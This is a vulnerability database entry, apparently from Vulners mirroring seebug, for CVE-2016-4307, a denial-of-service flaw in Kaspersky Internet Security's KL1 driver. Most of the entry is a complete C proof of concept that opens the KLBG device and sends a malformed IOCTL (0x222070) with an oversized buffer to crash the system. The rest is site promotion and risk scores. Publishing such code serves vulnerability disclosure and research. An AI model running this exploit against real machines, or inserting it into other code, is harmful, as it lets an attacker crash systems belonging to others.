Lucene search
K

Kaspersky Internet Security KL1 Driver Signal Handler Denial of Service(CVE-2016-4307)

🗓️ 13 Oct 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 46 Views

Kaspersky KL1 driver DoS vulnerability (CVE-2016-4307) allows local attackers to cause system crash via IOCTL signa

Related
Code

                                                #include <stdio.h>
#include <windows.h>

int main(void)
{
    HANDLE hDevice;
    char dev[255];
    DWORD   out;
    char    outBuff[1024];


    memset(outBuff, 'B', sizeof(outBuff));
    _snprintf(dev, sizeof(dev), "\\\\.\\KLBG");
    printf("Trying to open device: %s \r\n", dev);

    hDevice = CreateFile(dev, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("Error: unable to open device, error = 0x%08x\r\n", GetLastError());
        return 0;
    }

    printf("Device opened, handle = 0x%08x \r\n", hDevice);
    #define M_SIZE      0x1ffffff // 1024*1024*10
    BYTE *mem = (BYTE*)VirtualAlloc(0, M_SIZE, MEM_COMMIT, PAGE_READWRITE);
    printf("mem_ptr = 0x%08x \r\n", mem);
    if (!mem) exit(0);

    memset(mem, 0xCC, M_SIZE);

    BOOL st = DeviceIoControl(hDevice, 0x222070, (LPVOID)mem, M_SIZE,
        (LPVOID)&outBuff,
        sizeof(outBuff), &out,
        NULL);


    return 0;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Oct 2017 00:00Current
5.7Medium risk
Vulners AI Score5.7
EPSS0.00501
46